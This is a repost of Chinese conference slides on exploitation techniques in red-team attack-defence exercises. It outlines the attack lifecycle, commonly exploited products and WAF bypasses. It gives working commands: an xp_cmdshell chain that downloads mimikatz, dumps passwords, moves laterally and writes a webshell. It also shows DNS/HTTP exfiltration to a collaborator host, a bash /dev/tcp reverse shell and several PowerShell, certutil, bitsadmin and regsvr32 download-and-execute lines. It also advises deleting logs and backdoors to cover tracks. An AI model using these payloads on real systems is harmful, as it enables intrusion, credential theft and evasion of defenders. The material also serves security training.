FCIS 2023白帽论坛议题:攻防演练中的漏洞利用分享(大余)

2024-08-22 14:37:05 0 349
攻防演练中的漏洞利用分享

01 攻防演练-攻击流程介绍
02 攻防演练-高频漏洞
03 攻防演练-漏洞利用技巧

01 攻防演练-攻击

流程介绍

流量卡、虚拟机、代理IP、临时邮箱、临时短信等
目标资产信息搜集的程度,决定渗透过程的复杂程度。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证
利用外部站点漏洞打开入口(高频漏洞getshell)对内部员工发送钓鱼邮件、社工直接突破边界
Linux提权、Windows提权、数据库提权、第三方软件提权
搭建隧道/端口转发,代理进入目标内网
内网信息收集、密码复用/密码喷洒、内网高频漏洞、路径刷分及控制靶标
删除日志、木马及后门文件


信息收集
信息收集贯穿整个攻击过程,信息收集的广度和深度决定了后面持续渗透的攻击面和攻击思路
边界权限获取
信息收集后漏洞发现与利用,通过getshell方式获取入口点初始化权限。
权限提升
获得边界权限(getshell)后,需要对主机提升获得更多的能动性。
通道搭建
不同网络环境下选用不同的隧道方式
权限维持
权限维持要点:多网段、多位置、高隐匿、多类型、免杀
内网渗透
内网渗透过程权限维持很重要,在横向移动过程中需要不停进行探测及信息收集,旨在通过多路径拿到核心目标的权限
痕迹清除
1.清除因攻击操作产生的登录记录&操作日志&后门账号(Web应用&操作系统)
2.清除内网系统级预留的控制后门,例如cobalt strike的后门
3.清除内网系统级提权的软件以及创建的后门账号
4.清除内网漏洞扫描及利用的小工具
5.清除搭建在外网的隧道桥梁工具
6.清除预留在外网的webshell程序等
防守方突出问题隐患
1.员工安全意识淡薄。攻击者利用综合钓鱼、欺骗、伪装、跟随等社工谋略,针对重点岗位人员实施网络攻击,与内部人员同工同息,极难发现。
2.难以防范0day。零日漏洞武器可以直接撕破防守方的正面防线,大大缩短了攻击路径,快速取得战果,而防守方却束手无策。
3.对1/Nday没有防范。1day就是刚公布后的漏洞,或者公布后小范围流传exp的漏洞。
4.互联网暴露面过大。防守方二级单位的安全防御能力弱,互联网不收口,引发很多“从地方突入中央,又从中央回打地方”的安全案例。
5.弱密码、密码通用问题大量存在。业务系统默认口令不修改,弱口令,密码复用大量存在,密码文件随意存放邮箱、终端机、运维机、成为重点攻击目标。


02 攻防演练-高频漏洞

口令:暴力破解、弱口令、默认口令、任意密码重置…
任意文件上传漏洞
反序列化漏洞:Shiro、Fastjson、Weblogic、Jboss、Websphere…
远程代码执行漏洞:Struts2、Spring Boot Actuators、ThinkPHP…
远程命令执行漏洞
SQL注入漏洞、其他等等

暴力破解
无限制暴力破解
图形验证码绕过
特殊接口

弱口令
Top100
定制化口令

默认口令
常见默认口令
搜索引擎
说明文档
客服/售后

口令获取/修改
密码找回
任意密码重置/修改
社会工程学
特殊接口泄露密码

应用自实现上传
无限制上传
前端javascript限制
白名单结合解析/包含

第三方编辑器
UEditor
FCKeditor
eWebEditor …
中间件控制台
Tomcat
Weblogic
Websphere
JBoss …
其他
致远
htmlofficeservlet
帆软seeyonreport
泛微OA …
Shiro
Shiro-550
Shiro-721 …
Fastjson
Fastjson≤1.2.24
Fastjson≤1.2.47 … Weblogic
CVE-2015-4852
CVE-2017-10271
CVE-2019-2729
CVE-2020-2551 …
Jboss
JMXInvokerServlet
CVE-2017-12149 …
Websphere
CVE-2015-7450 …
NC
EOS
JSF ViewState
Exchange …
Struts2
S2-016
S2-045
S2-046 …
Spring Boot
Actuator
Jolokia
H2 database …
ThinkPHP
ThinkPHP 5.x …
其他
泛微OA beanshell
Jeekins …
运维产品
堡垒机
深信服 VPN …
安全产品
深信服EDR …
数据
MSSQL
MySQL
Oracle
DB2 …
权限
MSSQL xp_cmdshell
MySQL into outfile …
信息泄露
日志文件泄露
物理路径泄露

任意文件读取
读取配置文件
读取代码文件

权限
未授权访问
越权

SSRF
内网渗透

任意文件包含
通达OA …

03 攻防演练-利用

技巧漏洞
困境
一生之敌
WAF:对WEB攻击流量告警拦截
IPS:入侵检测
EDR:终端威胁检测与响应 …
冥行盲索
漏洞测试/攻击结果无回显
纯黑盒测试寸步难行…
东完西缺
目标环境不通外网 …
功亏一篑
离漏洞利用成功似乎仅一步之遥…
WAF绕过
规则
特性 编码绕过 流量加密 灵活语法 大小写绕过 关键字替换绕过 结合应用本身过滤 ……
解析引擎
HPP HTTP Requests Smuggling 协议覆盖不全 协议解析错误/不支持 请求参数>100(Nginx+LUA) 分块传输 畸形数据包(multipart) ……
其他
白名单 防护站点覆盖不全 超长数据包绕过 获取真实IP(云WAF) 语法覆盖不全(语义识别) ……
目标不出网
• WEB服务映射到互联网
• WEB应用存在SQL注入漏洞
• WEB应用存在文件上传功能,白名单检验
• SQL注入为SA权限,支持堆叠查询
• 站库分离
• 数据库服务器不通外网
目标:建立代理,进行内网渗透


• 上传图片后缀的mimikatz、wmiexec

• 启用xp_cmdshell
# EXEC sp_configure 'show advanced options',1;RECONFIGURE;
# EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
• 执行certutils下载mimikatz、wmiexec到数据库服务器
# EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://xxx/m.jpg C:\\Windows\\Temp\\m.exe';
# EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://xxx/w.jpg C:\\Windows\\Temp\\w.exe';
• 运行mimikatz获取数据库服务器密码
# EXEC master..xp_cmdshell 'C:\\Windows\\Temp\\m.exe ""privilege::debug"" ""log
sekurlsa::logonpasswords full"" exit >C:\\Windows\\Temp\\result';
# CREATE TABLE tmp (v varchar(8000));;
# INSERT INTO tmp(v) EXEC master..xp_cmdshell 'type C:\\Windows\\Temp\\result';
# UNION ALL SELECT NULL,v,NULL FROM tmp;

• 口令同用,wmiexec横向移动攻击WEB服务器
• 执行远程命令定位WEB应用路径
# INSERT INTO tmp(v) EXEC master..xp_cmdshell 'C:\\Windows\\Temp\\w.exe
user:[email protected] "for /r d:\ %i in (check.js*) do @echo %i"';
# UNION ALL SELECT NULL,v,NULL FROM tmp;
• 写入webshell及reGeorg到WEB应用路径
# EXEC master..xp_cmdshell 'C:\\Windows\\Temp\\w.exe
user:[email protected] "echo code_here > D:\\web\\js\\image.aspx"';

• 内网渗透
定位WEB目录写文件
通过搜索静态资源等文件定位WEB目录,然后写入结果文件或者webshell
不适用场景:URL白名单、独立运行jar包、需登录才能访问
构造回显&内存webshell
构造回显通过构造报错、中间件、框架回显等获取回显;
动态注册filter或servlet等写入无文件webshell
OOB
将结果通过DNS或者HTTP等协议带出
不适用场景:服务器不能出网
获取shell
通过反弹或者下载执行C2等获取shell
不适用场景:服务器不能出网
时间延迟
通过构造时间延迟盲打获取结果
• Linux(ping/curl/wget)
# ping `whoami`.xxx.burpcollaborator.net
# wget http://xxx.burpcollaborator.net/`pwd|base64`
• Windows(ping/certutil/bitsadmin)
# for /f %i in ('whoami') do certutil -urlcache -split -f
http://xxx.burpcollaborator.net/%i
# for /r c:\ %i in (check.js*) do certutil -urlcache -split -f
http://xxx.burpcollaborator.net/%i
定位web目录写文件
• Linux
# find /|grep check.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done
• Windows
# for /r D:\ %i in (test.css*) do whoami > %i/../test.txt
• CVE-2019-2725
# find / -type d -name bea_wls9_async_response|while
read f;do find $f -type d -name war;done|while read ff;do
echo $ff > $ff/test.txt;done
• 获取async路径,再结合CVE-2019-2725、CVE-2019- 2618写入webshell
• CVE-2019-2618写入webshell
获取webshell
• Linux(bash、python、perl反弹)
# bash –i >& /dev/tcp/IP/PORT 0>&1
• Windows(powershell、certutil、bitsadmin、regsvr32)
# powershell -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x/p'))" # certutil -urlcache -split -f http://x.x.x.x/test.exe C:\\Windows\\Temp\\test.exe&&C:\\Windows\\Temp\\test.exe
# bitsadmin /transfer n http://x.x.x.x/test.exe C:\\Windows\\Temp\\test.exe&&C:\\Windows\\Temp\\test.exe
# regsvr32 /s /n /u /i:http://x.x.x.x/r scrobj.dll
构造回显
Tomcat 7.0.106
Tomcat 8.5.56
Tomcat 9.0.19
• 借助java-object-searcher挖掘Tomcat 7、8、9 回显
• 通过反射从线程对象Thread开始搜索到Request对象
• Tomcat 7、8、9实现略有不同
a. 运行模式(BIO/NIO)
b. 可搜索到Request对象的线程对象
c. 定义Field的类
d. org.apache.coyote.Response#doWrite()传参 类型ByteChunk/ByteBuffer
• Servlet规范
-Servlet -Filter -Listener
• 框架
-Spring MVC
• Java Instrumentation
-Agent
场景一:
• Tomcat + Fastjson≤1.2.24
• 允许DNS出网
• 操作系统为Windows
以前的解决思路:
• 获取WEB目录
• 写入webshell
场景二:
• Tomcat + Fastjson≤1.2.24
• 服务器不通网
• 操作系统为Windows
以前的解决思路:
• 时间延迟二分法获取WEB目录
• 写入webshell
现在的解决思路:
• 直接写内存webshell
时间延迟
扩展ysoserial,加入时间延迟
Gadgets.createTemplat esImplTime
其它
• python shiro_exp.py
`java -jar ysoserial- 0.0.6-SNAPSHOT- all.jar
CommonsBeanutils1_Time 5000 | base64`
Shiro反序列化漏洞检测
请求添加Cookie: rememberMe=check
a. 响应头Set-Cookie包含rememberMe=deleteMe为Shiro
b. 否则不存在Shiro
构造继承PrincipalCollection的对象
a. 当Key正确时,不返回rememberMe=deleteMe
b. 当Key不正确时,返回rememberMe=deleteMe
使用较通用的时间延迟检测减少因不出网等情况的影响
考虑目标依赖的jar版本和ysoserial payload依赖版本不同导致反序列化失败
考虑Tomcat下对于[Lorg.apache.commons.collections.Transformer数组类加载失败问题
参考sqlmap时间盲注检测思路
lowerStdLimit=average(responseTimes) +
TIME_STDEV_COEFF * deviation
TIME_STDEV_COEFF = 7


关于作者

whoami98篇文章143篇回复

勤快的搬运工。

评论0次

要评论?请先  登录  或  注册